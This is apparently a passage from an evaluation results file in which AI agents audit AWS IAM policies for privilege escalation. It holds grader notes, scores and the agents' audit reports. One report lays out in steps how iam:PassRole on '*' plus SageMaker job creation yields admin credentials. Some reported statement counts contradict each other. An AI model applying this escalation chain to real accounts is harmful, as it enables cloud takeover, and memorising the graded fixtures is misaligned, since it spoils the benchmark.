"Does not headline any neutralised or read-only grant as critical; the only severity assigned is 'no findings'.",
"Names multiple boundaries including other attached policies, permissions boundary, Org SCPs, trust policy, and the passed role's full policy set.",
"Correctly states no security fix is needed and optionally suggests removing the unused PassRole grant if no role-binding launch action is added, matching the ground-truth recommendation."
],
"agent_output": "# IAM Privilege-Escalation Audit\n**Principal:** `role/sandbox-compute-operator`\n**Input:** 3 attached policies, 4 statements total, no trust policy supplied, no permissions boundary supplied.\n\n---\n\n## Step 1 \u2014 Resolve the Effective Permission Set\n\nUnioning all three policies, with no Deny statements present anywhere:\n\n| Action | Resource | Source |\n|---|---|---|\n| `iam:PassRole` | `arn:aws:iam::488213749302:role/sandbox-readonly-compute` | policy-1 |\n| `iam:GetRole` | `arn:aws:iam::488213749302:role/sandbox-readonly-compute` | policy-1 |\n| `iam:ListRolePolicies` | `arn:aws:iam::488213749302:role/sandbox-readonly-compute` | policy-1 |\n| `iam:ListAttachedRolePolicies` | `arn:aws:iam::488213749302:role/sandbox-readonly-compute` | policy-1 |\n| `ec2:StartInstances` | `arn:aws:ec2:eu-west-1:488213749302:instance/*` | policy-2 |\n| `ec2:StopInstances` | `arn:aws:ec2:eu-west-1:488213749302:instance/*` | policy-2 |\n| `ec2:RebootInstances` | `arn:aws:ec2:eu-west-1:488213749302:instance/*` | policy-2 |\n| `ec2:DescribeInstances` | `arn:aws:ec2:eu-west-1:488213749302:instance/*` | policy-2 |\n| `ecs:StartTask` | `arn:aws:ecs:eu-west-1:488213749302:task/*` | policy-2 |\n| `ecs:StopTask` | `arn:aws:ecs:eu-west-1:488213749302:task/*` | policy-2 |\n| `lambda:InvokeFunction` | `arn:aws:lambda:eu-west-1:488213749302:function:sandbox-*` | policy-2 |\n| `s3:GetObject`, `s3:ListBucket`, `logs:GetLogEvents`, `logs:DescribeLogStreams`, `cloudwatch:GetMetricData`, `dynamodb:GetItem`, `dynamodb:Query` | scoped sandbox ARNs | policy-3 |\n\nNo blanket Deny exists. Effective permission set is the union above, verbatim.\n\n---\n\n## Step 2 \u2014 Cross-Statement Escalation Combo Checks (E1\u2013E6)\n\n### E1 \u2014 `iam:PassRole` + role-binding compute-launch action\n\nThis is the combo to examine most carefully across the three policies. It spans two statements in two different policies and requires dissecting both halves precisely.\n\n**PassRole half (policy-1):** `iam:PassRole` is granted, scoped to exactly one role: `arn:aws:iam::488213749302:role/sandbox-readonly-compute`. The principal cannot pass any other role.\n\n**Compute-launch half (policy-2):** Three compute verbs are granted \u2014 `ec2:StartInstances`, `ecs:StartTask`, `lambda:InvokeFunction`. Each must be evaluated for whether it constitutes a *role-binding launch* action:\n\n- **`ec2:StartInstances`** \u2014 Starts an *already-running or stopped* EC2 instance. It does **not** bind a role; the IAM instance profile is attached at `ec2:RunInstances` time and cannot be changed by StartInstances. No PassRole argument is accepted. This is an operate-existing-compute verb, not a launch verb. **Does not arm E1.**\n- **`ecs:StartTask`** \u2014 Starts a *pre-defined task definition* on a container instance. It accepts an optional `overrides` parameter but does **not** accept a new task role at start time via a PassRole flow; the task role is baked into the task definition at `ecs:RegisterTaskDefinition` time. `ecs:RunTask` (which can override the task role and therefore requires PassRole) is **absent**. **Does not arm E1.**\n- **`lambda:InvokeFunction`** \u2014 Invokes an *existing* function. The execution role is attached at `lambda:CreateFunction` or `lambda:UpdateFunctionConfiguration` time; InvokeFunction carries no role-binding argument. **Does not arm E1.**\n\n**Conclusion on E1:** The PassRole half is live but narrowly scoped (one read-only role). The compute half consists entirely of operate-existing-compute verbs \u2014 Start, Stop, Reboot, Invoke on existing resources \u2014 none of which accept a role-binding argument and none of which trigger a PassRole flow. The shape of E1 is present across the two policies; the substance is not. **E1 is neutralised by the nature of the compute verbs granted.** This is the fixture-07 pattern exactly: PassRole + compute verbs where the verbs bind no role.\n\n**Escalation gain even if E1 were considered live:** The only passable role is `sandbox-readonly-compute`, whose own permissions (policy-3) are strictly read-only S3, CloudWatch Logs, DynamoDB, and CloudWatch Metrics on sandbox-namespaced resources. There is no privilege gain from inheriting that role. Even the most generous reading of this combo yields no escalation.\n\n### E2 \u2014 `iam:CreatePolicyVersion` / `iam:SetDefaultPolicyVersion`\n\nNeither action is present in the effective set. **Not applicable.**\n\n### E3 \u2014 `lambda:UpdateFunctionCode`\n\nAbsent from the effective set. `lambda:InvokeFunction` is present, but Invoke on an existing function requires no PassRole and cannot change the function's execution role or code. **Not applicable.**\n\n### E4 \u2014 Policy-attach / put actions onto a principal\n\n`iam:AttachUserPolicy`, `iam:AttachRolePolicy`, `iam:PutRolePolicy`, and all equivalent self-attach verbs are absent. **Not applicable.**\n\n### E5 \u2014 `iam:UpdateAssumeRolePolicy` + `sts:AssumeRole`\n\nNeither action is present. **Not applicable.**\n\n### E6 \u2014 Credential-minting for another identity\n\n`iam:CreateAccessKey`, `iam:CreateLoginProfile`, `iam:AddUserToGroup`, and equivalents are absent. **Not applicable.**\n\n---\n\n## Step 3 \u2014 Wildcard Grant Checks (W1\u2013W5)\n\n**W1 (critical \u2014 `Action '*'` on `Resource '*'`):** Absent. No statement uses Action `*`. **Not applicable.**\n\n**W3 (high \u2014 `Allow` + `NotAction`):** Absent. No statement uses NotAction. **Not applicable.**\n\n**W2 (high \u2014 service-level wildcard on a sensitive service):** Absent. No `iam:*`, `sts:*`, `s3:*`, `lambda:*`, or similar service wildcard is used. Every action is individually enumerated. **Not applicable.**\n\n**W4 (medium \u2014 mutating actions on `Resource '*'`):** Absent. Every mutating action (the EC2/ECS lifecycle verbs) is scoped to specific region-and-account-qualified ARNs (`instance/*`, `task/*`, `function:sandbox-*`). `Resource '*'` does not appear. **Not applicable.**\n\n**W5 (low \u2014 broad read on `Resource '*'`):** The read actions in policy-3 (`s3:GetObject`, `s3:ListBucket`, `dynamodb:GetItem`, `dynamodb:Query`, `logs:GetLogEvents`, `cloudwatch:GetMetricData`) are all scoped to specific named sandbox resources. `Resource '*'` is not used. **Not applicable.**\n\n---\n\n## Step 4 \u2014 Trust Policy Exposure (X1)\n\nNo trust policy was supplied. The X1 check (wildcard principal with no narrowing condition) **cannot be evaluated**. See Boundary section.\n\n---\n\n## Step 5 \u2014 Deceptive-Clean Verdict\n\nThe policy is **clean**. The one combination that resembles a real finding \u2014 `iam:PassRole` (policy-1) paired with compute verbs (policy-2) \u2014 is neutralised on two independent grounds, either of which is sufficient alone:\n\n1. **The compute verbs bind no role.** `ec2:StartInstances`, `ecs:StartTask`, and `lambda:InvokeFunction` all operate on *existing* compute without accepting a role argument. None of them triggers the PassRole flow. The role-binding launch actions that arm E1 (`ec2:RunInstances`, `ecs:RunTask`, `lambda:CreateFunction`, `lambda:UpdateFunctionConfiguration`) are entirely absent.\n\n2. **The only passable role is read-only.** Even if one of the compute verbs could hypothetically bind a role, the only role this principal can pass is `sandbox-readonly-compute`, whose policy (policy-3, supplied verbatim) grants nothing beyond scoped read operations on sandbox-namespaced resources. There is no privilege to inherit.\n\nNo wildcard grants, no credential-minting, no policy-rewrite primitives, no trust-rewrite path, no function-code hijack. The three policies together define a tightly scoped sandbox operator.\n\n---\n\n## Step 6 \u2014 Findings\n\n> **No real escalation path exists.** There are no findings at any severity level.\n\nOne apparent finding was examined and confirmed neutralised:\n\n| Apparent Rule | Verdict | Reason |\n|---|---|---|\n| E1 \u2014 PassRole + compute launch | **CLEAN** | (1) The compute verbs (`StartInstances`, `StartTask`, `InvokeFunction`) are operate-existing verbs that accept no role argument and do not trigger PassRole. (2) The sole passable role is `sandbox-readonly-compute`, which is strictly read-only; there is no privilege to gain even in the most permissive reading. Two independent neutralisers, either sufficient. |\n\nOne observation worth noting \u2014 not a finding, but a hygiene note:\n\n> **`iam:GetRole` / `iam:ListRolePolicies` / `iam:ListAttachedRolePolicies` on the passable role (policy-1, `ValidatePassableRole`):** These are explicitly provided to let the principal inspect the role before passing it, which is a reasonable and intentional pattern. They grant no write capability and introduce no escalation surface. They are correctly scoped to the single target role ARN. This is good practice, not a concern.\n\n---\n\n## Boundary \u2014 What This Audit Cannot Determine\n\nThe following questions are joins this audit cannot close from the supplied documents alone:\n\n1. **Other attached policies.** This audit examined exactly three policies. If additional managed or inline policies are attached to `role/sandbox-compute-operator` and were not supplied, the effective permission union is incomplete. A grant of `ec2:RunInstances`, `ecs:RunTask`, `lambda:CreateFunction`, or any IAM mutation verb in an unexamined policy would materially change the E1 analysis. **Verify with `aws iam list-attached-role-policies` and `aws iam list-role-policies`.**\n\n2. **Permissions boundary.** No permissions boundary was supplied. If one is attached to this role, it caps the effective permissions to the intersection of what the policies allow and what the boundary allows. Since this role's effective set is already narrow and clean, a boundary would only further restrict it \u2014 but its absence means this audit cannot confirm the role is boundary-governed. **Verify with `aws iam get-role` and check `PermissionsBoundary`.**\n\n3. **Org SCPs.** Service Control Policies applied at the OU or account level can Deny actions these policies Allow, or in the other direction, can silently permit nothing beyond what the SCP allows. SCPs are invisible from the account's policy documents. The clean verdict here holds for what these policies grant; an SCP could only be more restrictive. **Verify via AWS Organizations.**\n\n4. **The trust policy of `role/sandbox-compute-operator`.** Not supplied. The X1 check (wildcard principal with no narrowing condition) cannot be evaluated. If the trust policy allows a broad set of principals to assume this role, the risk profile shifts to whoever can assume it. **Review with `aws iam get-role --role-name sandbox-compute-operator` and check `AssumeRolePolicyDocument`.**\n\n5. **The actual attached policies of `sandbox-readonly-compute`.** Policy-3 was provided with the label \"the passed role's OWN policy.\" If `sandbox-readonly-compute` has additional attached policies not represented in policy-3, the \"read-only passed role\" conclusion rests on an incomplete view of that role. **Verify with `aws iam list-attached-role-policies --role-name sandbox-readonly-compute`.**",
"agent_chars": 10853,
"agent_s": 59.7,
"elapsed_s": 68.0
},
{
"fixture": "07-passrole-sandboxed-role-orphaned",
"condition": "treatment",
"trial": 2,
"score": 7,
"scores_by_item": [
1,
1,
1,
1,
1,
1,
1
],
"notes": [
"Correctly parses all 18 actions across 3 policies, including proper recognition of individually named actions and scoped resource ARNs.",
"Correctly identifies that there are no real findings \u2014 the E1 shape is present but the combo cannot complete due to absence of role-binding launch actions.",
"No false positives; explicitly explains why the PassRole+compute combo does not constitute a live escalation path.",
"Performs thorough cross-statement union analysis, correctly recognizing that StartInstances/StartTask/InvokeFunction do not accept role arguments at invocation time, neutralizing the apparent E1 combo.",
"Does not headline the neutralized combo as critical; treats it as clean with an informational note only.",
"Names multiple boundary items including other attached policies, permissions boundary, org SCPs, trust policy, and the passed role's full privilege set.",
"Correctly states no security fix is needed and optionally suggests removing the unused PassRole grant if no role-binding launch action will be added \u2014 matching the ground-truth recommendation."
],
"agent_output": "# IAM Privilege-Escalation Audit \u2014 `role/sandbox-compute-operator`\n\n**Principal:** `role/sandbox-compute-operator`\n**Input:** 3 attached permissions policies, 17 statements total (2 + 1 + 1), no trust policy supplied, no permissions boundary supplied.\n\n---\n\n## Step 1 \u2014 Resolve the Effective Permission Set\n\nCollecting every Allow across the three policies, then checking for any blanket Deny on `Resource \"*\"`.\n\n| Action | Resource Scope | Source |\n|---|---|---|\n| `iam:PassRole` | `arn:aws:iam::488213749302:role/sandbox-readonly-compute` | policy-1 / PassSandboxComputeRole |\n| `iam:GetRole` | same single role ARN | policy-1 / ValidatePassableRole |\n| `iam:ListRolePolicies` | same single role ARN | policy-1 / ValidatePassableRole |\n| `iam:ListAttachedRolePolicies` | same single role ARN | policy-1 / ValidatePassableRole |\n| `ec2:StartInstances` | `arn:aws:ec2:eu-west-1:488213749302:instance/*` | policy-2 / OperateExistingSandboxCompute |\n| `ec2:StopInstances` | same | policy-2 |\n| `ec2:RebootInstances` | same | policy-2 |\n| `ec2:DescribeInstances` | same | policy-2 |\n| `ecs:StartTask` | `arn:aws:ecs:eu-west-1:488213749302:task/*` | policy-2 |\n| `ecs:StopTask` | same | policy-2 |\n| `lambda:InvokeFunction` | `arn:aws:lambda:eu-west-1:488213749302:function:sandbox-*` | policy-2 |\n| `s3:GetObject` | two sandbox-fixtures-eu ARNs | policy-3 |\n| `s3:ListBucket` | same | policy-3 |\n| `logs:GetLogEvents` | `/sandbox/*` log group | policy-3 |\n| `logs:DescribeLogStreams` | same | policy-3 |\n| `cloudwatch:GetMetricData` | scoped ARNs | policy-3 |\n| `dynamodb:GetItem` | sandbox-readonly-cache table | policy-3 |\n| `dynamodb:Query` | same | policy-3 |\n\n**Blanket Denies (`Resource \"*\"`):** None present in any of the three policies.\n\n**Effective set:** The 18 actions listed above, each pinned to a narrow ARN scope. No wildcards on Action. No `NotAction`. No `Resource \"*\"` anywhere.\n\n---\n\n## Step 2 \u2014 Cross-Statement Escalation Checks (E1\u2013E6)\n\n### E1 \u2014 `iam:PassRole` + role-binding compute-launch action\n\nThis is the flagship check for this principal. The shape is present: `iam:PassRole` exists in policy-1, and compute verbs exist in policy-2. A union read that stops there would flag this critical. The methodology requires going one level deeper on both halves.\n\n**Half 1 \u2014 PassRole scope.**\nPassRole is pinned to a single, named role: `arn:aws:iam::488213749302:role/sandbox-readonly-compute`. It cannot pass any other role. A bad actor using this principal cannot attach an admin role, a boundary-less role, or any role other than this one specific ARN.\n\n**Half 2 \u2014 Do the compute verbs bind a role at launch?**\nThis is the decisive gate. The E1 escalation requires a *role-binding launch action* \u2014 one that accepts a role argument at creation time and causes the launched compute to run with that role's credentials. The compute verbs present in policy-2 are:\n\n- `ec2:StartInstances` \u2014 starts an *already-provisioned* instance. The IAM instance profile was attached at `ec2:RunInstances` time; `StartInstances` takes no role argument and cannot change it.\n- `ec2:StopInstances` / `ec2:RebootInstances` \u2014 lifecycle actions; bind no role.\n- `ec2:DescribeInstances` \u2014 read-only.\n- `ecs:StartTask` \u2014 starts an *already-registered* task definition. The task role is embedded in the task definition at registration time; `StartTask` does not accept a role override argument that would trigger PassRole.\n- `ecs:StopTask` \u2014 lifecycle action; binds no role.\n- `lambda:InvokeFunction` \u2014 invokes an *existing* function with its *existing* execution role; PassRole is not exercised.\n\nThe role-binding launch actions that would close the E1 combo \u2014 `ec2:RunInstances`, `lambda:CreateFunction`, `lambda:UpdateFunctionConfiguration`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`, `sagemaker:CreateTrainingJob`, `cloudformation:CreateStack`, and their kin \u2014 are **absent** from the effective set.\n\n**Verdict on E1: CLEAN \u2014 neutralised by orphaned combo.**\nThe PassRole is scoped to one role, and none of the compute verbs bind a role at invocation time. There is no mechanism by which this principal can exercise the PassRole grant to attach `sandbox-readonly-compute` (or any other role) to compute it controls. Even in the hypothetical where `ecs:StartTask` were misread as role-binding, the only passable role is `sandbox-readonly-compute`, whose own permissions are captured in policy-3: strictly read-only S3, CloudWatch Logs, DynamoDB reads on scoped ARNs. No escalation gain even if the combo were satisfied.\n\nThis is fixture-07 territory (`passrole-sandboxed-role-orphaned`): the shape of E1 is present across two policies; the escalation does not fire.\n\n### E2 \u2014 Policy rewrite in place\n\n`iam:CreatePolicyVersion` and `iam:SetDefaultPolicyVersion` are absent from the effective set.\n\n**Verdict: CLEAN \u2014 actions not granted.**\n\n### E3 \u2014 Lambda function code hijack\n\n`lambda:UpdateFunctionCode` is absent. `lambda:InvokeFunction` is present but invokes existing code with the existing execution role; it does not overwrite code and does not trigger E3.\n\n**Verdict: CLEAN \u2014 actions not granted.**\n\n### E4 \u2014 Attach or put policy onto a principal\n\n`iam:AttachUserPolicy`, `iam:AttachRolePolicy`, `iam:PutRolePolicy`, `iam:PutUserPolicy`, and related actions are absent.\n\n**Verdict: CLEAN \u2014 actions not granted.**\n\n### E5 \u2014 Rewrite trust policy, then assume\n\n`iam:UpdateAssumeRolePolicy` and `sts:AssumeRole` are both absent.\n\n**Verdict: CLEAN \u2014 actions not granted.**\n\n### E6 \u2014 Credential minting for another identity\n\n`iam:CreateAccessKey`, `iam:CreateLoginProfile`, `iam:AddUserToGroup`, and related actions are absent.\n\n**Verdict: CLEAN \u2014 actions not granted.**\n\n---\n\n## Step 3 \u2014 Wildcard Grant Checks (W1\u2013W5)\n\n**W1 (`Action '*'` on `Resource '*'`):** No statement uses `Action '*'`. Not present.\n\n**W3 (`Allow` + `NotAction`):** No statement uses `NotAction`. Not present.\n\n**W2 (service-level wildcard on a sensitive service):** No `svc:*` action patterns anywhere. Every action is individually named. Not present.\n\n**W4 (mutating actions on `Resource '*'`):** Every mutating action in the set (the EC2/ECS lifecycle verbs) is pinned to scoped ARNs in `eu-west-1` in account `488213749302`. `ec2:StartInstances` is on `instance/*` (all instances in account/region, not cross-account), `ecs:StartTask` is on `task/*` similarly. These are worth a note (see below) but they are not `Resource \"*\"`.\n\n**W5 (broad read on `Resource '*'`):** All read actions in policy-3 are pinned to named bucket, log-group prefix, and table ARNs. Not present.\n\n---\n\n## Step 4 \u2014 Trust Policy Exposure (X1)\n\n**No trust policy was supplied.** The X1 check cannot be completed. See the Boundary section.\n\n---\n\n## Step 5 \u2014 Findings\n\n### No real escalation paths found.\n\nThe policy set is effectively clean against every escalation rule. The rationale for the one apparent concern \u2014 the cross-policy E1 shape \u2014 is documented above.\n\n---\n\n### Observation (Informational, not a severity finding)\n\n**Subject:** `ec2:StartInstances` and `ecs:StartTask` on `instance/*` / `task/*` within the account.\n\nThese are scoped to account `488213749302` and region `eu-west-1`, not to `Resource \"*\"`, so they do not meet the W4 threshold. However, the wildcard on `instance/*` and `task/*` means this role can start (and stop/reboot) *every* EC2 instance and every ECS task in that account and region, not just sandbox ones.\n\n**If the intent is sandbox-only operation**, consider tagging-based conditions:\n\n```json\n\"Condition\": {\n \"StringEquals\": {\n \"aws:ResourceTag/Environment\": \"sandbox\"\n }\n}\n```\n\nor scope the resource ARN to a known instance-ID list / ECS cluster ARN. This is an alignment-with-intent observation, not an escalation. Whether it is a real risk depends on what non-sandbox workloads run in the same account \u2014 context this policy alone cannot answer.\n\n---\n\n## Step 6 \u2014 Boundary (What This Audit Cannot Determine)\n\nThe following joins were not resolvable from the supplied documents. The clean verdict above is correct for the effective permissions these three policies express; it is not a clean verdict on the principal's full security posture.\n\n1. **Other attached policies.** Only three policies were supplied. If `sandbox-compute-operator` has additional managed or inline policies attached \u2014 even one that grants `ec2:RunInstances`, `lambda:CreateFunction`, or `iam:PassRole` on `Resource \"*\"` \u2014 the effective set changes and E1 may fire. The audit is complete only for what was provided.\n\n2. **Permissions boundary.** No boundary was supplied. A permissions boundary could further restrict what these Allows actually grant, but none is needed to neutralise any finding here \u2014 the effective set is already clean. The absence of a boundary is still worth confirming in production: without one, any future policy attachment that grants a dangerous action is immediately effective.\n\n3. **Org SCPs.** Service Control Policies at the organization level may Deny actions this policy Allows (or Allow actions beyond what is here). They are not visible from account-level policy documents and were not supplied. An SCP that Denies `iam:PassRole` account-wide would make the PassRole grant inert; one that is missing would not change the verdict.\n\n4. **The trust policy for `role/sandbox-compute-operator`.** Not supplied. The X1 check is incomplete. If the trust policy allows a broad principal set (e.g., `Principal: \"*\"` or a wildcard service) without a narrowing condition, the role's permissions become available to that broader set of callers \u2014 which changes the threat model even though the permissions themselves are clean.\n\n5. **The privileges of `sandbox-readonly-compute`.** Policy-3 was supplied as the passed role's own permissions, and on its face it is read-only. This audit treats that at face value. If `sandbox-readonly-compute` has *additional* attached policies not shown here, the \"escalation gain is zero\" conclusion in the E1 analysis may not hold. Confirm that policy-3 is the complete and only policy for that role.\n\n---\n\n## Summary\n\n| Rule | Verdict | Reason |\n|---|---|---|\n| E1 (PassRole + launch) | **CLEAN** | Compute verbs bind no role at invocation; PassRole is scoped to one read-only role; no role-binding launch action present |\n| E2 (policy rewrite) | **CLEAN** | Actions not granted |\n| E3 (function hijack) | **CLEAN** | `lambda:UpdateFunctionCode` not granted |\n| E4 (self-attach) | **CLEAN** | Policy-attach/put actions not granted |\n| E5 (trust-rewrite + assume) | **CLEAN** | `iam:UpdateAssumeRolePolicy` and `sts:AssumeRole` not granted |\n| E6 (credential minting) | **CLEAN** | Credential-minting actions not granted |\n| W1 (full admin) | **CLEAN** | No `Action '*'` on `Resource '*'` |\n| W2 (service wildcard) | **CLEAN** | No `svc:*` patterns |\n| W3 (Allow + NotAction) | **CLEAN** | No `NotAction` |\n| W4 (mutating on `*`) | **CLEAN** | Mutating verbs scoped to account/region ARNs, not `Resource \"*\"` |\n| W5 (broad read) | **CLEAN** | All reads pinned to named ARNs |\n| X1 (open trust) | **INCOMPLETE** | Trust policy not supplied |\n\n**No privilege-escalation path is supported by the effective permissions in the supplied documents.** The principal can operate existing sandbox compute and read from scoped data stores. It cannot attach a new role to any compute, cannot rewrite any IAM resource, cannot mint credentials, and cannot assume any role. The only action warranting follow-up is confirming that the trust policy is appropriately scoped (X1) and that no additional policies are attached to either `sandbox-compute-operator` or `sandbox-readonly-compute`.",
"agent_chars": 11603,
"agent_s": 69.6,
"elapsed_s": 78.5
},
{
"fixture": "08-ml-platform-passrole-launch-needle",
"condition": "control",
"trial": 2,
"score": 7,
"scores_by_item": [
1,
1,
1,
1,
1,
1,
1
],
"notes": [
"Agent correctly parses the policy statements including identifying iam:PassRole on '*' and sagemaker:CreateTrainingJob as concrete sensitive permissions.",
"Agent identifies the ground-truth E1 defect: iam:PassRole on Resource '*' combined with sagemaker:CreateTrainingJob enabling privilege escalation to full admin.",
"No false positives: the additional findings (CreateProcessingJob path, ListRoles, ECR, etc.) are legitimate secondary concerns, not mischaracterized neutralized grants or broken escalations.",
"Agent correctly reasons across multiple policies (policy-4 for PassRole, policy-6 for CreateTrainingJob) to identify the cross-statement escalation combo rather than evaluating each statement in isolation.",
"Agent correctly ranks the PassRole+CreateTrainingJob combo as CRITICAL (most serious), consistent with ground truth.",
"Agent notes the boundary: the blast radius depends on the privileges of the roles that can be passed, which is not determinable from this policy alone.",
"Agent's top fix matches ground truth: scope iam:PassRole to exact execution-role ARNs and add an iam:PassedToService condition pinning to sagemaker.amazonaws.com."
],
"agent_output": "# IAM Policy Audit: `role/ml-training-platform`\n\n---\n\n## Executive Summary\n\nTwo **critical** privilege escalation paths exist that allow this role to escalate to full administrator. A third **high** severity misconfiguration broadens the blast radius further. The remaining issues are medium/low. The combination of `iam:PassRole` on `*` with `sagemaker:CreateTrainingJob` is a textbook privilege escalation chain and must be treated as a P0 finding.\n\n---\n\n## Finding 1 \u2014 CRITICAL: Privilege Escalation via `iam:PassRole *` + `sagemaker:CreateTrainingJob`\n\n**Policies involved:** `policy-4.json` (PassRole), `policy-6.json` (CreateTrainingJob)\n\n### Mechanism\n\n```\niam:PassRole on Resource \"*\"\n +\nsagemaker:CreateTrainingJob\n =\nfull administrative access\n```\n\nStep-by-step exploitation:\n\n1. Attacker controls or compromises the `ml-training-platform` role.\n2. Calls `iam:PassRole` to pass **any role in the account** \u2014 including one with `AdministratorAccess` \u2014 to a SageMaker training job. There is no `iam:PassedToService` condition restricting which service can receive the role.\n3. Creates a training job via `sagemaker:CreateTrainingJob`, specifying:\n - The admin role as `RoleArn`\n - A container image they control (or a public one with a custom entrypoint)\n - An `S3OutputPath` they can read from (`ml-training-artifacts-eu`)\n4. The training container runs with the passed admin role's credentials, available via the instance metadata service. The container exfiltrates those credentials or uses them directly to perform any AWS action.\n\nThis requires **zero additional permissions** beyond what is already granted. The attacker does not need to create new roles, modify existing ones, or touch IAM at all after step 2.\n\n### Fix\n\n**Restrict `iam:PassRole` to a specific role ARN and enforce the `PassedToService` condition:**\n\n```json\n{\n \"Sid\": \"PassTrainingExecutionRole\",\n \"Effect\": \"Allow\",\n \"Action\": \"iam:PassRole\",\n \"Resource\": \"arn:aws:iam::488213749302:role/sagemaker-training-execution-role\",\n \"Condition\": {\n \"StringEquals\": {\n \"iam:PassedToService\": \"sagemaker.amazonaws.com\"\n }\n }\n}\n```\n\nBoth constraints are required together:\n- `Resource` scoped to the exact intended execution role ARN \u2014 not a wildcard, not a prefix.\n- `iam:PassedToService` condition prevents the same role from being passed to EC2, Lambda, Glue, or any other compute service that could similarly host attacker-controlled code.\n\n---\n\n## Finding 2 \u2014 CRITICAL: `iam:PassRole *` + `sagemaker:CreateProcessingJob` (same chain, different vector)\n\n**Policies involved:** `policy-4.json` (PassRole), `policy-6.json` (CreateProcessingJob)\n\n### Mechanism\n\nIdentical to Finding 1, but using `sagemaker:CreateProcessingJob` instead of `sagemaker:CreateTrainingJob`. SageMaker Processing Jobs also accept a `RoleArn` parameter and run arbitrary container code. This is a **separate, independent escalation path** that survives even if `CreateTrainingJob` is removed without fixing PassRole.\n\nThis is called out separately because engineers sometimes patch the obvious `CreateTrainingJob` path and miss that `CreateProcessingJob` has identical semantics.\n\n### Fix\n\nSame fix as Finding 1. Locking down `iam:PassRole` to a specific ARN and `sagemaker.amazonaws.com` closes both Finding 1 and Finding 2 simultaneously. There is no separate remediation needed for this finding if Finding 1 is fixed correctly.\n\n---\n\n## Finding 3 \u2014 HIGH: `iam:ListRoles` + `iam:GetRole` on `*` Enables Escalation Target Discovery\n\n**Policy:** `policy-4.json`, statement `ReadRolesForValidation`\n\n```json\n\"Action\": [\n \"iam:GetRole\",\n \"iam:ListRoles\"\n],\n\"Resource\": \"*\"\n```\n\n### Why This Matters\n\nIn isolation, read-only IAM actions are low severity. In the context of Findings 1 and 2, they are a **force multiplier**:\n\n- `iam:ListRoles` lets the attacker enumerate every role in the account and identify high-privilege targets (roles with `AdministratorAccess`, cross-account trust policies, roles used by AWS Config/CloudTrail, etc.).\n- `iam:GetRole` reveals trust policies, letting the attacker confirm which roles have `sagemaker.amazonaws.com` in their trust policy, making the pass more likely to succeed cleanly.\n- Without these permissions, the attacker must guess or already know the admin role ARN. With them, reconnaissance is trivial.\n\nEven after fixing Finding 1, `iam:ListRoles` on `*` is excessive for a training platform. The stated justification in the Sid is \"validation\" \u2014 validating a single known role ARN requires neither `ListRoles` nor `GetRole` on `*`.\n\n### Fix\n\nIf role validation is genuinely needed (e.g., checking that the execution role exists before submitting a job), scope `GetRole` to the specific role and eliminate `ListRoles` entirely:\n\n```json\n{\n \"Sid\": \"ValidateTrainingExecutionRole\",\n \"Effect\": \"Allow\",\n \"Action\": \"iam:GetRole\",\n \"Resource\": \"arn:aws:iam::488213749302:role/sagemaker-training-execution-role\"\n}\n```\n\nIf the application doesn't actually call `GetRole` or `ListRoles` at runtime, remove the statement entirely. Verify via CloudTrail before deciding.\n\n---\n\n## Finding 4 \u2014 MEDIUM: `sagemaker:CreateExperiment` / `CreateTrial` / `CreateTrialComponent` Resource Mismatch\n\n**Policy:** `policy-5.json`, statement `WriteExperimentTracking`\n\n```json\n\"Action\": [\n \"sagemaker:CreateExperiment\",\n \"sagemaker:CreateTrial\",\n \"sagemaker:CreateTrialComponent\",\n \"sagemaker:AddTags\"\n],\n\"Resource\": \"arn:aws:sagemaker:eu-west-1:488213749302:experiment/*\"\n```\n\n### Problem\n\nSageMaker `CreateTrial` and `CreateTrialComponent` do not operate on `experiment/*` ARNs. Their native resource types are:\n\n| Action | ARN resource type |\n|---|---|\n| `CreateExperiment` | `experiment/*` \u2705 |\n| `CreateTrial` | `experiment/*` (correct) |\n| `CreateTrialComponent` | `experiment-trial-component/*` \u274c mismatch |\n| `AddTags` | `*` is typically needed, or the specific tagged resource |\n\nWhen IAM cannot match an action to the stated resource type, it may fall back to `*` evaluation depending on the service's resource-level permission support. More practically: this policy **will not work correctly** for `CreateTrialComponent`. If the application works today, it is because another policy or a broader grant is silently covering it. That hidden grant should be found and audited.\n\n`AddTags` scoped to `experiment/*` also means tags cannot be added to training jobs, models, or other resources \u2014 which may be intentional, but should be explicit.\n\n### Fix\n\n```json\n{\n \"Sid\": \"WriteExperimentTracking\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"sagemaker:CreateExperiment\",\n \"sagemaker:CreateTrial\"\n ],\n \"Resource\": \"arn:aws:sagemaker:eu-west-1:488213749302:experiment/*\"\n},\n{\n \"Sid\": \"WriteTrialComponents\",\n \"Effect\": \"Allow\",\n \"Action\": \"sagemaker:CreateTrialComponent\",\n \"Resource\": \"arn:aws:sagemaker:eu-west-1:488213749302:experiment-trial-component/*\"\n},\n{\n \"Sid\": \"TagSageMakerResources\",\n \"Effect\": \"Allow\",\n \"Action\": \"sagemaker:AddTags\",\n \"Resource\": [\n \"arn:aws:sagemaker:eu-west-1:488213749302:experiment/*\",\n \"arn:aws:sagemaker:eu-west-1:488213749302:experiment-trial-component/*\",\n \"arn:aws:sagemaker:eu-west-1:488213749302:training-job/*\"\n ]\n}\n```\n\n---\n\n## Finding 5 \u2014 MEDIUM: `ecr:GetAuthorizationToken` Implicitly Grants Account-Wide Registry Access\n\n**Policy:** `policy-3.json`, statement `ReadModelRegistryEcr`\n\n```json\n\"Action\": [\n \"ecr:GetDownloadUrlForLayer\",\n \"ecr:BatchGetImage\",\n \"ecr:GetAuthorizationToken\",\n \"ecr:DescribeImages\"\n],\n\"Resource\": \"*\"\n```\n\n### Problem\n\n`ecr:GetAuthorizationToken` **cannot be scoped to a specific repository** \u2014 it is an account-level action that returns a Docker credential valid for **all repositories in the account** for 12 hours. This is an AWS service design constraint, not a misconfiguration in the resource specification. However, the issue is that `ecr:GetDownloadUrlForLayer` and `ecr:BatchGetImage` are also on `*`, meaning this role can pull images from **any ECR repository in the account**, not just the ML model registry.\n\nFor a training platform, pulling from an unintended repo (e.g., a production application image) is unlikely to cause direct harm, but it violates least-privilege and could aid lateral movement if the attacker is trying to understand the environment or find a vulnerable image.\n\n### Fix\n\nScope the layer/image pull actions to specific repositories:\n\n```json\n{\n \"Sid\": \"PullModelRegistryImages\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"ecr:GetDownloadUrlForLayer\",\n \"ecr:BatchGetImage\",\n \"ecr:DescribeImages\"\n ],\n \"Resource\": [\n \"arn:aws:ecr:eu-west-1:488213749302:repository/ml-training-images\",\n \"arn:aws:ecr:eu-west-1:488213749302:repository/ml-base-images\"\n 